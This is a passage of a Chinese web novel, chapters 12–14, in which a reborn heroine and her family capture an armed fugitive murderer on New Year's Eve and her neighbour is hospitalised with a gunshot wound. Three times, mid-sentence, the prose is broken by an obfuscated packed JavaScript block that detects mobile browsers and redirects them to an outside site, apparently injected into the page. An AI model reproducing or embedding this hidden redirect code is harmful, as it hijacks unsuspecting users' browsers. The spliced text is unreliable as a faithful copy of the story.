傅同舟手里提着一把雪亮的斧头，不知什么时候悄无声息站到了她身后，一双鹰隼般的眼睛在跳跃的烛火中发出森冷的光。 12. 第 12 章 周晚梨一瞬间头皮发麻，全身的汗毛都竖了起来，差点就要将手中的蜡烛砸到傅同舟脸上。 “嘘。”幸好傅同舟更快地抬起手指示意了一下。 周晚梨将摇晃的蜡烛捏紧，没顾得上手背上的蜡油，轻声问：“你干什么？” 同时更仔细地看了眼他手中的斧头，还好，没有血迹。 “外面有人。”傅同舟也轻声道。 周晚梨缓缓吐出一口气，说：“应该是我大哥在洗澡。” “不是。”傅同舟摇摇头，“在外面，猪圈后面。” “啊？”周晚梨下意识伸出头去看。 “小心。”傅同舟一把将她拽进来，同时朝她手上吹了口气。 周晚梨差点被拽个大跟头，蜡烛也被吹灭。 与此同时，“碰”一声巨响在耳边炸开。 这声音周晚梨不算陌生，以前看别人打猎的时候听到过——枪响！ 怎么会有枪响？ 周晚梨毛骨悚然，整个人都僵住了，也不知道是吓的，还是被震的——刚才那颗子弹，是擦着她脑袋飞过去的！ 有人想杀她！ “关好门窗，招呼大家待在一起。”傅同舟将周晚梨塞到墙后，自己一闪身，飞快跑了出去。 他的声音很镇定，同时带着不容置疑的威严，周晚梨不由自主就按他说的去关门。 可手碰到门扇却摸到了水渍，再低头一看，依稀辩出不是水渍而是血液。 傅同舟受伤了？！ “什么声音？” “怎么了？” “梨儿？你没事吧？” “……” 同一时间厕所里的周和满、正屋那边的丁兰香等人都纷纷出声。 “大哥，外面有坏人！厕所门后有把锄头，你拿好防身！小心，对方手里有枪！”周晚梨心脏砰砰乱跳，一把关上门，一边喊一边快速跑回去，拦住想要开门的周顺满，“爸，你带妈去嫂嫂的房间，你们都别出来。二哥，墙角有砍刀，你拿上跟我走。” 周晚梨之前为了防着傅同舟，在好几个隐秘但又方便的地方都放着“武器”，这会儿嘴上安排着其他人，自己手里也已经操起了一把铁锹。 “我去，你守着她们。”周平玉过来拿周晚梨手中的铁锹。 “对方有枪，你眼睛不方便。”周晚梨这时候顾不得是不是会刺激到他了，“听我的，守在家里别出来。” 周平玉有一只眼睛是瞎的，而且就是被打猎的误伤的，他对枪有强烈的心理阴影，这会儿整个人都在发抖。 周晚梨轻易就将他推开，又快速道：“你们保护好自己就是帮忙了。” 丁兰香本来也想上来阻拦，闻言顿了顿，默默回头去安抚秦海霞。 周顺满已经打开门，走了出去。 “二哥。”周晚梨急忙跟上。 周顺满怒道：“你回去，三个大男人还擒不住一个小贼？” 恰在这时候，后院又传来一声枪响，但已经不是刚才的方向。 “猎枪准度没那么高，我们熟悉地形，小心一点，多几个人牵制他会好一点。”周晚梨没跟他掰扯，快速道，“傅同舟受伤了，别磨蹭，快走。你看前面我看后面，当心那人还有同伙。” 周顺满上辈子就是被人蒙骗，误杀了人，最后锒铛入狱。 虽然现在情况不一样，但周晚梨也不能让他再犯类似的错误：“如果发现了人，别下死手，先伤他四肢。” “打架的事还不用你来教我。”周顺满道，“你给我躲好，不用你去冒险。” 话是这样说，周晚梨还是注意到他的身体绷得很紧。 她没再多说，就这么几句话的功夫，两人已经到了厕所外面。 周和满只穿了件单衣，手里攥着锄头缩在墙角。 看到两人过来，他拼命摆手，示意他们不要过去，又指了个方向。 几人中间隔着一小段过道，三步就能汇合，但按照周和满指的方向，这个过道刚好暴露在敌人的视野中。 整个后院都非常安静，好像刚才的枪响只是错觉。 但谁都知道，敌人还在暗中窥视。 只要冒头，对方肯定会开枪。 周顺满受不了这压抑的气氛，想要冲过去跟周和满汇合，被周晚梨一把拉住。 她还没来得及说话，远处忽然响起一连串“砰砰砰”的声响。 还以为是傅同舟被发现了，周晚梨心脏都差点炸掉，随后才意识到，是到了12点，大家陆续开始放鞭炮了。 刚才这么大的动静也没其他人家问一句，应该就是以为在放鞭炮。 这人倒是会选时候。 远处的热闹，衬得这一片越发安静。 周晚梨示意周顺满将身后的柴剁砍开，然后拿了几根树枝，朝对面扔过去。 在朦胧的光线下，很像有人蹿了过去。 但是那人并没有开枪。 也不知道是转移了地方，还是识别出了她的小计谋。 周晚梨并不急，又脱下外套，穿在一根树枝上，慢慢探出“脑袋”去看。 还是没动静后，她才将穿着衣服的树枝扔向对面——看起来就像是她跑了过去。 “砰！”又一声枪响，正中衣服！ 周顺满跟周和满一起蹿了出去。 他们熟悉地形，已经听出枪声来自后院洗衣台下面。 洗衣台四周都有石块挡着，只有中间是空的，那人倒是会找地方。 但这样他的视线也会受阻，兄弟俩拉开距离，分两个方向走他的视线死角，大步冲过去。 还没走到洗衣台，就听见一声惨叫，还有枪落地的声音。 应该是同样躲在暗处的傅同舟出手了。 周晚梨先朝四周又查看了一遍，确定暗处没有其他动静，这才跑过去。 傅同舟他们已经将人擒住，正从洗衣台下拖出来。 周平玉也打着手电筒走出来。 灯光落在那人脸上，大家都愣了下。 这人头发胡子都很长，乱糟糟打结成团，将脸完全盖住了，只露出一双凶悍的眼睛，他身上的衣服也是又破又脏，整个人像是在泔水桶里泡过，臭得令人发指。 “你是谁？想干什么？”周平玉也不认识这人。 那人哼了一声，并不回答，也不看其他人，眼睛直勾勾望向周晚梨，满满都是怨毒。 “看什么看！”周顺满不爽地打了他头一下。 那人力气出奇的大，狠命一挣，差点从三个男人手里挣脱。 周顺满再顾不得臭，抱紧他的手臂。 傅同舟看着最平静，动作却最狠，直接一脚踩住那人的脸摁在地上摩擦几下，然后才回头道：“周叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563148|171404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，麻烦拿根绳子来。” “给。”丁兰香刚走到门口，闻言又飞快跑回去，拿了根绳子出来。 这是之前用来捆猪的，绝对够结实。 傅同舟接过绳子，缠住那人的手腕，巧妙地打了个结：“可以松开了。” “这就够了？”周顺满不太放心，“会不会被他挣开？” 傅同舟：“放心，这个绳结越挣扎绑得越结实。” 说完还示范了一下，果然是越挣扎越紧。 神秘人这才收回一直盯着周晚梨的视线，狠狠看了傅同舟一眼。 “先把人抓进来吧。”周晚梨注意到傅同舟左手臂已经被血染透了，并且还在往下滴血，“同舟哥，你得先去杨大夫那里处理一下伤口。” “杨大夫不在。”秦海霞缩在门口道，“他侄儿年前来将人接走了。” “对，是有这事。”丁兰香也想起了，忧心忡忡地道，“这可怎么办？同舟你伤得怎么样？” “去镇上的医院。”周晚梨马上道，“这是枪伤，不是小事。” “不急。”傅同舟已经用手帕将伤口包住了，这会儿又用力拉紧了一些。 周晚梨看到他虽然面无表情，但颈侧青筋暴起，显然非常痛，心里很是过意不去。 她之前怀疑傅同舟是杀人狂魔，处处防着他，没想到危急关头，却是他救了她。 “你到底是什么人？”周晚梨没有替傅同舟处理伤口的本事，只能将气都撒在那个神秘人身上，狠狠踹了他一脚。 她这点力气那人完全没放在眼里，依然不说话。 “野人！”秦海霞忽然道，“他是不是就是公安要找的野人？” 周晚梨一愣。 “什么野人？” “说起来是很像。” “难怪他不会说话。” “可是野人哪里来的枪？” “……” 大家一人一句，互不相干。 周晚梨蹲下来，看着被迫跪在地上的神秘人，说：“你是在逃杀人犯，对不对？” 听着是问句，语气却很肯定。 周围瞬间安静下来。 杀人犯，太可怕了。 神秘人扭动脖子，发出“咔嚓”声响，他终于开口了，声音有些干哑：“差一点，就杀了你。” 周顺满大怒，又想打人，被周晚梨拦住了。 “为什么想杀我？”周晚梨问。 “你，招来的，公安。”神秘人慢吞吞道，“那天，我就该，杀了你。” 其他人听不懂，周晚梨却明白了。 她为了逼真，在报案后，去山上扔了几块啃过的红薯萝卜——如果公安真的到山上搜查，发现有人待过的痕迹，说不定会更重视。 原本是为了防傅同舟，没想到山上真藏着一个杀人犯。 她去扔东西的时候，这家伙看到了。 不过他当时并不知道她的用意，所以没出手。 周晚梨一阵后怕，又想起上辈子，周和满被人打断四肢割掉了舌头，有人说是杀人犯干的。 会不会就是眼前这个人？ 原本她一直怀疑这个说法，怀疑大哥其实是被槐树村的人害的，现在倒有点信了。 “想杀我？那你只能等下辈子了。”周晚梨站起身，突然一脚踹向神秘人裆部，“现在，你先去死吧！” 13. 第 13 章 周晚梨力气虽然比不上几位男士，但攻击的部位正常男人都扛不住，这位一直表现得很凶悍的神秘杀人犯也禁不住发出惨烈哀嚎：“啊！” 其他人，尤其是周家众人都惊呆了。 周晚梨向来乖巧，甚至是有些娇弱，她什么时候、从哪里学会的这一招？ “你最好老实一点，有什么交代什么，否则还有你的苦头吃。”周晚梨又踹了那杀人犯一脚，才直起身。 那人痛得弯腰弓背，脑袋直接贴到了地上，根本顾不上回答她。 “平玉？周平玉？在家吗？”外面忽然传来一片乱糟糟的喊声。 众人只得先抛开杀人犯，打开门一看，竟是村长带着村里几个年轻人过来了。 “过年好。”村长看着他们，试探着道，“刚才听到你家这边好像有点动静……” “你们来得正好。”周晚梨直接道，“我们抓到一个杀人犯，正准备去告诉你。” “啥？”村长吓了一跳，“杀人犯？” 之前公安来村子里排查的时候，特别嘱咐过他，说最近可能不是很太平，让他警惕一些，同时也要看好村子里的人，别乱来。 他一直警醒，直到今天过年了，才稍稍放松警惕。 刚才出来上厕所，正好听见周平玉家这边的巨响。 他一开始也以为是火炮声，没怎么在意。 然而没多久又响了一声，吓得他差点掉进粪坑里，才突然意识到，那声音更像是枪响。 后来0点过后，村子里家家户户都开始放鞭炮，周平玉家反而没动静了。村长觉得不太对劲，便召集了几个在他家打牌的村民，一起过来查看。 刚走到傅同舟家附近，就听到了杀猪般的惨叫声。 他们才赶紧跑过来。 没想到竟是抓了个杀人犯。 “你们自己来看吧。”周晚梨让开位置，简单交代了一下事情的经过。 那杀人犯又恢复了凶悍的眼神，再加上他看不出人样的外形，村长只看了一眼心脏就砰砰乱跳：“赶紧送派出所。” 要是这家伙不是先来的周平玉家，而是去的别人家，尤其是那些家里只剩下老弱妇幼的，后果简直不堪设想。 “麻烦大家伙一起吧。”傅同舟说，“现在还不知道这家伙有没有同伙，天黑路远，多几个人安全一些。” 村长连连点头：“应该的，我这就叫人去。” 大年夜全村人几乎都还没睡，遇到这种威胁村子安全的事，大家还是很团结的，村长很快便叫了几个胆子大力气也大的青壮年过来。 然后又叫其他人去自己家里守夜——安全起见，他将全村人都聚到一起了。 周平玉将家里唯一一辆自行车推出来，交给周和满，又喊周晚梨跟自己走。 “我要跟着去镇上。”周晚梨摇摇头。 周平玉皱了皱眉。 傅同舟说：“梨儿妹妹最先发现这杀人犯，而且这人还是冲她来的，确实该跟着去弄清楚原委。” “有我和大哥在，你们不用担心。”周顺满拍着胸脯保证。 周平玉便不吭声了，倒是丁兰香过来拉着周晚梨的手，絮絮叨叨叮嘱一堆。 “自行车不够。”周和满说，“我再去借一辆。” “不用。”傅同舟拦住他，“还要载这杀人犯，赶牛车吧。” 谁也不愿意让杀人犯坐自己后座，都觉得牛车好。 周和满便去赶了牛车出来。 其他人骑自行车，周晚梨和傅同舟这个伤号都坐牛车。 周顺满牵着那杀人犯过来，踢他一脚：“上去。” “别。”傅同舟接过他手里的绳子，系在牛车上，“还是让他跟在后面跑吧。” 周顺满都忍不住朝他竖起大拇指。 傅同舟坐在车尾，看着那杀人犯，同时指挥周和满调整速度——不能太慢，给杀人犯喘息的空间使坏；但也不能太快，他要是跟不上可能会被拖死。 “长见识了。”那几个陪同的年轻人纷纷感叹，“不愧是见过大世面的，连整人的手段都如此高明。” “什么整人？”周晚梨纠正道，“这人太凶悍，三个男的都差点按不住，你们没看到同舟哥当过兵都受伤了吗？我们这是为了自保，安全起见。” 那几个人也反应过来了，纷纷点头称是。 周晚梨瞥了眼傅同舟，心里反而静不下来。 傅同舟身上确实有股不输这杀人犯的凶狠劲。 当然，周晚梨不是说他错，相反他把这劲用在杀人犯身上，她觉得解气，很爽。 问题就是，这样子的傅同舟看起来，又有点像上辈子别人嘴里的杀人狂魔了。 如果他真的是……不知道这辈子有没有机会让他改变？ * 一路上没出什么意外，也不知道是那杀人犯根本没有同伙，还是同伙胆小，看到这么大一群人就没敢出来。 众人顺利到达镇上，分成两拨，周和满周晚梨兄妹俩带着其他人一起，将杀人犯送去派出所；周顺满则陪同傅同舟先去医院处理伤口。 很巧，今天晚上派出所值班的，又是之前那位中年公安。 大家现在也算是熟人了，说起话来比较方便。 看到他们还真抓来一个杀人犯，中年公安一边震惊，一边对周晚梨的好感度直线提升。 周晚梨三言两语将事情交代清楚。 那杀人犯今晚被折腾得很惨，这会儿也很配合，承认自己确实是在逃杀人犯。 更详细的审讯，就不是他们能听的了，现在也审讯不了——过年案子多，派出所的警力严重不够。 周晚梨只能提醒他们要尽快审讯。 一是那人被折腾惨了、意志薄弱，比较好审；二是万一有同伙，晚了可能就抓不到了。 中年公安现在对周晚梨印象好，对她的话也重视，略一思索便道：“我这就去叫休假的副所长亲自来审讯。” 他要离开派出所去喊人，顺手还给周晚梨塞了把瓜子花生糖果：“去副所长家要经过医院，我先去看眼傅同志，你们去吗？” 傅同舟是为了救周晚梨才受的伤，她自然要去，周和满当然要跟着妹妹。 其他人就没必要去了，有人想去街上玩，有人不放心家里。 中年公安叮嘱他们注意安全，不能单独行动后，才各自散去。 几人往医院走去，远远便看到门口有不少人，竟还挺热闹。 “怎么这么多人？”周晚梨有点惊讶。 “每年过年，医院都会有很多伤员。”中年公安叹了口气，“放鞭炮造成火灾的、炸伤人的，还有喝酒出事的，喝醉了打架……普通人过年最清闲，医生警察过年反而特别忙。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563149|171404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周晚梨忙道：“辛苦你们了。” 几人边说话边走进医院，却看到傅同舟站在那里，手臂上的伤竟还没处理。 周顺满满脸不爽，傅同舟好像还在安慰他。 “怎么还没处理？”周晚梨快步走过去问道。 周顺满看到她，表情瞬间缓和了一些，但说出来的话还是怨气冲天：“他们不给他治。” “不是不治，是有更严重的伤者。”傅同舟温和地说，“我等一会儿没关系。” 周晚梨看他脸色比之前又苍白了好多，干脆直接挤过去，拉住一个刚出来的医生道：“这儿有个枪伤患者，很严重，麻烦你们尽快处理一下。” 那医生扭头看过来，也不知是因为给公安面子，还是确实有空了，直接安排旁边的护士将傅同舟带去手术室。 傅同舟的伤势，却比他们想象得还要严重一点。 他的手臂几乎被击穿，还有弹片残留，幸好位置比较偏，不会造成功能性损伤。但怕感染，医生让他住院观察。 周晚梨听得心情更加复杂。 傅同舟一直表现得很淡定，她也没亲眼看到伤口，还以为他伤得不算严重。 没想到只是他特别能忍而已。 “我出去透口气。”周晚梨看周和满准备帮傅同舟换衣服，转身出了病房。 这会儿天都快亮了，外面等待的病人少了很多。 周晚梨找了个角落，刚蹲下去就听见一个女人的声音在问：“现在开心了吧？” “开心。”男人的声音说，“我要当爸爸了！” 紧接着便是一阵暧昧的声响。 周晚梨一开始没反应过来，纯粹是下意识瞥了眼，看到一男一女抱在一起亲吻。 按理说，她该马上转开的，但视线扫过去，她觉得这男的有点眼熟，没忍住多看了两眼。 对方似有所察觉，也看过来。 视线相对，周晚梨还是没想起这人是谁，但自知不礼貌，便冲他们笑了笑，说：“新年快乐，恭喜你们。” “谢谢你小妹妹，也祝你新年快乐。”女的本来有点尴尬，闻言倒是高兴起来。 男的却脸色一变，拉着女的快步离开。 周晚梨愣了下。 “梨儿。”周顺满这时候走出来道，“这边没什么事了，我们回家吧，大哥留下来照顾傅同舟。” “行。”周晚梨点点头，“我去打个招呼。” 周顺满赶紧亦步亦趋地又跟着她进了病房。 傅同舟换了身病号服，坐在床头，听到动静抬头看过来。 “同舟哥，昨天晚上真的很谢谢你。”周晚梨朝傅同舟鞠了一躬，“救命之恩无以为报，你需要什么，想吃什么，就告诉大哥，千万不要跟我们客气。” 傅同舟点头：“好，我会的，你们回去休息吧。” 周晚梨答应一声，又说了两句话，刚准备离开，又听到傅同舟道：“等一下。” “怎么了？”周晚梨回头。 “新年快乐。”傅同舟笑着道。 周晚梨看着窗外渐渐亮起来的天色，意识到在他们忙碌奔波的时候，时间已经进入1980年了。 对周家至关重要的一年。 “新年快乐。”周晚梨也露出一个灿烂的笑容。 好在，今年的开年，已经和上辈子完全不一样了。 14. 第 14 章 兄妹俩回到家，看到周平玉跟丁兰香都没休息，坐在屋子里等着他们，一个比一个疲惫焦虑。 见到他们，两人急忙迎上来询问情况。 周平玉眼神不好，还差点被凳子绊倒，丁兰香急忙扶了他一把。 “那家伙就是个杀人犯，交给公安了，他们要今天才有时间审。同舟哥的伤问题不大，但是怕感染，医生让住院观察，大哥留在医院照顾他了。”周晚梨一一将情况说了，又四处看看，问，“嫂嫂呢？” 担心秦海霞被吓到，周晚梨从医院离开的时候，周和满特意追出来，叮嘱她回家安抚一下。 “她胆子小，没经过什么事，昨晚肯定吓到了。”周和满当时避开周顺满对周晚梨道，“就算她有错，但一码归一码，我不在家，你安慰安慰她。” 她胆子可真不小，怀着孕还敢拿砖头往我头上砸，见了血也完全不害怕，反而满脸兴奋，周晚梨心里悄悄反驳。 但她当然不会说出来。 身为丈夫，周和满这时候本来该陪在秦海霞身边，他心疼弟弟妹妹，选择自己留在医院。那他们安慰照顾秦海霞，也是应该的。 可这个问题一出，夫妻俩脸色就微微变了。 周平玉别开头没吭声。 “这不是村子里出现了杀人犯，大家都被吓到了吗？”丁兰香说，“海霞回槐树村了……回去也好，那边安全一些。” 她竭力掩饰，但周晚梨还是能看出来她的失落。 客观理智地说，现在周家湾不太平，秦海霞回娘家更安全，这是最好的选择。 但是，从情感上来说，平时一家人感情很好。 秦海霞遇到什么事，大家也都是第一时间护着她。 结果遇到危险，她自己跑了，完全不顾家里两位长辈，这让朴素的丁兰香有点难以接受。 “回去挺好，省得大哥担心了。”周晚梨倒是真心觉得这是好事。 经过这件事，大家对秦海霞的认知，也该有所改变了。 慢慢积攒够了失望，就不会对突然的打击难以接受。 “我去补觉。”周顺满不好对大嫂发表看法，转身回自己房间，“等会儿吃饭喊我，我去给他们送饭。” 周晚梨跟父母多聊了几句，确定昨晚没有别的事情，也去补觉了。 本来还担心睡不着，结果上床就秒睡，一直到中午被饭菜香唤醒。 周晚梨穿好衣服起床，一推开门就见周顺满顶着一脑袋乱发，睡眼蒙眬地掀开布帘，一副神游天外的样子。 家里房间少，周晚梨睡的耳房，周顺满睡的是厨房和耳房中间的一个小隔间，连门都没有，只用布帘挡了一下。 “没睡醒？”周晚梨跟他打了个招呼。 周顺满用手指撑开眼皮看了她一眼，说：“你起来干什么？今天没啥事，你可以睡一整天。” “饿了。”周晚梨说，“等下我去送饭，你继续睡吧。” 她猜周顺满刚才没睡好。 周和满说秦海霞会被吓到，其他人又何尝不是？ 周顺满看着跟蛮牛一样，但平日里最多也就和村里的小混混打个架，哪里见过真刀真枪？ 他昨晚也吓得腿软，走路都趔趄，只不过强撑着不说而已。 这种情况下，他是不可能休息好的。 周晚梨自己也不过是因为上辈子有过更惨烈的经历，才能保持镇定。 “要你送？家里没人了？要你送？”周顺满仿佛被胶水粘住的眼皮“嗖”一下就睁开了，莫名其妙开始激动，“你跟我说实话，是不是想去看傅同舟？” 周晚梨：“……” 换个没有上辈子记忆的人，天天被他这么念叨，只怕真的要对傅同舟有什么想法了。 幸好是她，绝对不会对傅同舟有什么想法。 “我是想去派出所。”周晚梨耐着性子道，“那个杀人犯的情况还没弄清楚，不得去问问审讯结果？” “我去问，回来告诉你。”周顺满还是不想她去。 “你现在的脑子里只剩下一团浆糊了吧？”周晚梨故意道，“你去了能记住什么？” 周顺满果然大怒：“怎么和你哥说话呢？信不信我揍你？” “怎么又吵起来了？”丁兰香闻声走过来，“有什么话不能好好说，非要吵？顺满，你是不是……” “妈，没什么。”周晚梨打断丁兰香，说，“我觉得二哥这睡觉的地方太吵了，又没有隐私，根本休息不好。家里不是还有点木板吗？这几天就把楼上给隔出来吧。让二哥睡楼上，或者他睡耳房我睡楼上。” 周顺满本来吼完人还在生气，冷不丁听到周晚梨说出这样的话，嘴巴都没来得及合上，呆呆地望着她，脑子里真的只剩下一团浆糊了。 “那些木板本来就是准备铺楼板用的。只是年前事情多，一直没顾得上。”丁兰香说，“正月里不好动工，等下个月就让你爸把楼上隔出来。” 家里房间不够，老大结了婚要单独住一间，梨儿是女孩子也要单独住一间。 先前是顺满和小满住一间，随着年纪越来越大，两个大男孩睡一张床嫌挤，顺满便自己提出要在这里隔一个房间睡。 丁兰香当然知道这样委屈他，可她也不好说让小满住这里。 周家湾的人不喜欢睡二楼，甚至很多人家都没有二楼，但为了让顺满睡得好，他们准备把楼上利用起来。 只是一直没腾出时间干这活，也就没告诉孩子们。 没想到今天梨儿先提出来了。 她是真的心细。 “哪有那么多讲究。”周晚梨说，“按照你们的规矩，昨天晚上见了刀枪见了血，就是不吉利吗？可在我看来，这反而是大好事——解决了一个非常危险的人物。你们想想，要不是过年这么多人在，怎么可能打得过一个持枪的杀人犯？所以，这是好事，预示着今年我们一定能够逢凶化吉、遇难成祥。” 丁兰香被她说得直点头。 本来确实因为大过年遇到这样的事情很不安， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563150|171404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在安心多了。 “所以，别等正月过去了，现在就修。”周晚梨继续道，“早点把房间弄好，二哥才能休息好。休息好了，干活才有力气、才能专注。休息不好，才容易出事，你说对不对？” “对对对。”丁兰香已经彻底被周晚梨说服，“我跟你爸商量一下，这两天就动工。” 周晚梨这才满意。 周顺满则是一直没说话，直到一家人吃过饭，他骑着自行车送周晚梨去镇上送饭的路上，才忽然问了句：“周晚梨，你是不是又在憋什么坏？” 周晚梨：“……你是不是欠骂？” 她这样说话，周顺满觉得正常多了。 顿了顿，他又小声道：“其实我睡那小隔间挺好的，真不用特意去盖楼。” “……”周晚梨是真无语了。 说他犟牛还不高兴。 “真的。”周顺满也不知道说给她听，还是说给自己听，又强调了一遍，“我没那么讲究。” “二哥你知道吗？”周晚梨往前凑了点，在周顺满耳边道，“我们都很爱你……” 自行车剧烈地颠簸了一下，周顺满没说话。 “从你搬到小隔间的第二天，爸爸和大哥就在开始挑选合适的木材，用来做楼板。”周晚梨继续道，“你还记得之前你跟人跑出去玩，弄伤了脚，最后溃脓，肿得跟馒头一样。村子里那些人还吓唬你，说要截肢。但是某天早上醒来后，你的脚就奇迹般好了的事吗？” 周顺满等着她往下说，结果她又不说了，他只得问道：“什么意思？不就是时间到了，自己就好了吗？” “怎么可能自己就好了？是妈妈趁你睡着的时候，用嘴把你伤口里的脓血吸出来了。”周晚梨说，“我亲眼看见的。” 周顺满没说话，但自行车被他骑出了“S”型。 “二哥，你稳住啊。”周晚梨抓紧他腰间的衣服，“千万别……” 话还没说完，“哐当”一声，连人带车一起摔了。 周晚梨坐在地上抬头看着周顺满：“你怎么恩将仇报呢？” 周顺满也很尴尬，面红耳赤地去扶周晚梨。 周晚梨顺着他的力道起身，然后忽然张开手臂，一把抱住他：“二哥，我也很爱你，真的。” 所以，别再被外面的人骗了。 孩子多了，难免有一碗水端不平的时候，但大家爱你的心不会比爱其他人少。 “周晚梨。”周顺满忽然拍拍周晚梨的背，喊了她一声。 周晚梨抬头期待地看着他。 周顺满说：“你知道流氓罪吗？你这样被人看到，是会被抓起来的。” 周晚梨：“……” 她没忍住，抬手给了周顺满一拳：“你是不是有病！” “诶，这样就对了嘛。”周顺满舒服了，屁颠屁颠地去将摔在地上的饭盒捡起来。 还好，没有摔坏，里面的饭菜没洒出来。 不然他们吃什么。 周晚梨：“……”